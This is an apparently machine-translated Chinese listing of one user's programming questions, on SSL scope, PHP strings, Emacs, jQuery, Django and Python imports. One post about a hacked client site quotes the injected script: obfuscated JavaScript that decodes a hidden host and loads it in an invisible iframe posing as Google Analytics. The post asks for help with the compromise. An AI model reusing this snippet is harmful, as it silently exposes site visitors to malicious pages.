小编Pao*_*ino的帖子

你应该在哪里启用SSL?

我的最后几个项目涉及销售产品/服务的网站,并且需要"结帐"流程,用户可以在其中输入信用卡信息等.显然,我们获得了SSL证书以确保其安全性,并让客户放心.然而,我对它的细微之处有点无能为力,最重要的是,网站的哪些部分应该"使用"证书.

例如,我去过网站,当你点击主页时,你被放入https - 主要是银行网站 - 然后有网站,当你最终退房时,你只在https.如果不处理银行业务中的某些事情,整个网站是否通过https运行是否过度?我应该只进行结账页面https吗?全力以赴的表现是什么?

security performance ssl https

19
推荐指数
3
解决办法
3069
查看次数

PHP:字符串索引

$ str [n]和$ str {n}之间有什么区别,因为$ str是一个字符串.

我注意到两者似乎都是一样的,除了{}在我找到的任何文档中都没有出现.

php string

19
推荐指数
2
解决办法
2万
查看次数

如何在Emacs中将ESC绑定到keyboard-escape-quit?

通常键盘转义退出是绑定的EscEscEsc.有可能将它重新绑定到一个单独的Esc吗?我从不使用Escape作为前缀键.

我在Windows XP上运行Emacs 23.0.60.1.

emacs

18
推荐指数
1
解决办法
6975
查看次数

JQuery getJSON - ajax parseerror

我试图用JQuery getJSON和ajax解析以下json响应:

[{"iId":"1","heading":"Management Services","body":"<h1>Program Overview</h1><h1>January 29, 2009</h1>"}]
Run Code Online (Sandbox Code Playgroud)

我也试过它像这样转义"/"字符:

[{"iId":"1","heading":"Management Services","body":"<h1>Program Overview <\/h1><h1>January 29, 2009<\/h1>"}]
Run Code Online (Sandbox Code Playgroud)

当我使用getJSON时,它不会执行回调.所以,我用JQuery ajax尝试了如下:

$.ajax({
    url: jURL,
    contentType: "application/json; charset=utf-8",
    dataType: "json",
    beforeSend: function(x) {
        if(x && x.overrideMimeType) {
            x.overrideMimeType("application/j-son;charset=UTF-8");
        }
    },
    success: function(data){
        wId = data.iId;
        $("#txtHeading").val(data.heading);
        $("#txtBody").val(data.body);
        $("#add").slideUp("slow");
        $("#edit").slideDown("slow");
    },//success
    error: function (XMLHttpRequest, textStatus, errorThrown) {
        alert("XMLHttpRequest="+XMLHttpRequest.responseText+"\ntextStatus="+textStatus+"\nerrorThrown="+errorThrown);
    }
});
Run Code Online (Sandbox Code Playgroud)

ajax命中错误并警告以下内容:

XMLHttpRequest=[{"iId":"1","heading":"Management Services","body":"<h1>Program Overview </h1><h1>January 29, 2009</h1>"}]

textStatus=parseerror

errorThrown=undefined
Run Code Online (Sandbox Code Playgroud)

然后我尝试了一个简单的JQuery get调用,使用以下代码返回JSON:

$.get(jURL,function(data){
    var json = eval("("+data+");");
    wId = json.iId;
    $("#txtHeading").val(json.heading);
    $("#txtBody").val(json.body);
    $("#add").slideUp("slow");
    $("#edit").slideDown("slow");
})
Run Code Online (Sandbox Code Playgroud)

.get返回JSON,但无论我如何修改JSON(内容类型标题,格式的其他变体等),eval都会出现错误.

我想到的是,在JSON中返回HTML并解析它似乎存在问题.但是,我希望我可能错过了一些允许我通过JSON获取此数据的内容.有没有人有任何想法?

javascript ajax jquery json eval

15
推荐指数
2
解决办法
7万
查看次数

客户的网站遭到攻击,eeek!

好吧,我想这一天不得不来.

我的客户的网站已被Google妥协并列入黑名单.当你加载主页面时,这个javascript会自动添加到文档的底部:

<script type="text/javascript">var str='google-analytics.com';var str2='6b756c6b61726e696f6f37312e636f6d';str4='php';var str3='if';str='';for(var i=0;i<str2.length;i=i+2){str=str+'%'+str2.substr(i,2);}str=unescape(str);document.write('<'+str3+'rame width=1 height=1 src="http://'+str+'/index.'+str4+'?id=382" style="visibility: hidden;"></'+str3+'rame>');</script></head><body><iframe src="http://kulkarnioo71.com/index.php?id=382" style="visibility: hidden;" width="1" height="1"></iframe>
Run Code Online (Sandbox Code Playgroud)

我还没有解剖它,但很明显,这是一个试图冒充谷歌分析的攻击者.我无法理解的是,如果我从主页面中删除每个单独的HTML,那么index.html是一个空文档,javascript STILL将被嵌入.是什么赋予了?怎么可能?

更新

  • 该网站是一个非常简单的日历应用程序,运行在10美元/月的godaddy unix帐户,MySQL,PHP.

  • 它不是我的计算机特有的本地东西,因为我的客户端是那个用问题打电话给我的人.我家里的所有电脑也发生过(4)

我将在网络服务器上进行扫描......

来源确定

好吧,我发现了javascript的来源.我愚蠢地只清空了template.html文件,但仍然通过我的php模板系统运行脚本.显然,有些上面的代码被附加到我index.phpmain.php文件的底部.这怎么可能?

更多背景:

  • 它是一个日历应用程序,如上所述,它仅由我的客户的小公司使用.登录需要做任何事情,只有5个人拥有帐户.我可以保证他们都不会尝试任何恶作剧.我显然无法保证有人掌握了他们的信息并且确实尝试了恶作剧.
  • 可悲的是,我差不多4年前创建了这个网站,所以我并不完全有信心我保护孩子们现在正在尝试的一切,但我仍然无法理解攻击者如何可能获得访问网络服务器以附加此javascript到我的PHP文件.

javascript security

13
推荐指数
2
解决办法
1052
查看次数

Django模板 - 新的变量声明

让我先写一下我刚开始使用Python,如果这真的是一个简单的问题^ _ ^

我有一个包含以下内容的html文件:

        {%for d in results%}
        <div class="twt">
            <img src="{{ d.profile_image_url }}" width="48px" height="48px" /> <span> {{ d.text }} </span>
            <span class="date">{{ d.created_at }}</span>
        </div>
    {% endfor %}
Run Code Online (Sandbox Code Playgroud)

哪个效果很好,但我也想在这个页面上声明一个变量.让我们说这个例子,我们可以使用RowNumber,它将为显示的每个d递增,吐出当前的RowNumber.

我试过做:

{{ RowNumber = 0}} 
{{ RowNumber ++ }}
Run Code Online (Sandbox Code Playgroud)

但它似乎不允许我声明RowNumber.

python django django-templates

13
推荐指数
2
解决办法
3万
查看次数

使用jQuery显示通知的最佳方法

我有一个简单的CRUD表单.

当用户输入或删除记录时,我试图显示一个很酷的成功消息.我在网上看到了很多这个.

我对jquery很新.有谁知道任何会显示如何做到这一点的例子?

基本上是一个慢慢调暗的div.

html javascript jquery

13
推荐指数
1
解决办法
3万
查看次数

使用jQuery,如何更改元素html值?(DIV)

使用ajax请求我想改变我的div的内容.

<div id="d1">202</div>
Run Code Online (Sandbox Code Playgroud)

所以我想将内容更改为其他数字.

$('d1').InnerText???
Run Code Online (Sandbox Code Playgroud)

另外,说我想增加数字,我怎么能这样做?我必须转换为int吗?

javascript jquery

12
推荐指数
2
解决办法
4万
查看次数

关于在Javascript中引用函数的问题

问题:我有一个jQuery繁重的页面,有一个内置的管理界面.admin函数仅在设置admin变量时触发.这些功能需要第二个库才能正常工作,如果用户在首次创建页面时是管理员,则仅包含第二个文件.这些功能永远不会触发普通用户,而普通用户也不会获得第二个库的包含.

引用当前包含的文件中不存在的函数是不是很糟糕,即使该函数永远不能被调用?(那有意义吗 :)

伪代码:

标题:(注意不包括admin.js)

<script type="text/javascript" src="script.js"></script>
<script type="text/javascript" src="user.js"></script>
Run Code Online (Sandbox Code Playgroud)

script.js :(引用的管理函数但无法执行)

admin = false; // Assume this

$(".something").dblclick(function(){
 if(admin)
  adminstuff(); // Implemented in admin.js (not included)
 else
  userstuff();
});
Run Code Online (Sandbox Code Playgroud)

想法: 我想可以使用两个单独的用户和管理员文件,但我觉得这将是一个过于复杂的解决方案(不想维护两个只有几行差异的大文件).我在此文件中包含对admin函数的引用的唯一原因是我需要将它附加到作为脚本一部分刷新的页面元素.当jQuery刷新页面时,我需要将功能重新附加到交互元素.

问题: 我希望保持简单,如果用户不使用,则不必包含我不需要的文件.这是一个很好的方法,或者我应该走另一条路?

javascript jquery function

12
推荐指数
1
解决办法
284
查看次数

Python中导入所花费的时间

我想知道导入对内置模块和用户定义模块需要多长时间.

python import

11
推荐指数
4
解决办法
5137
查看次数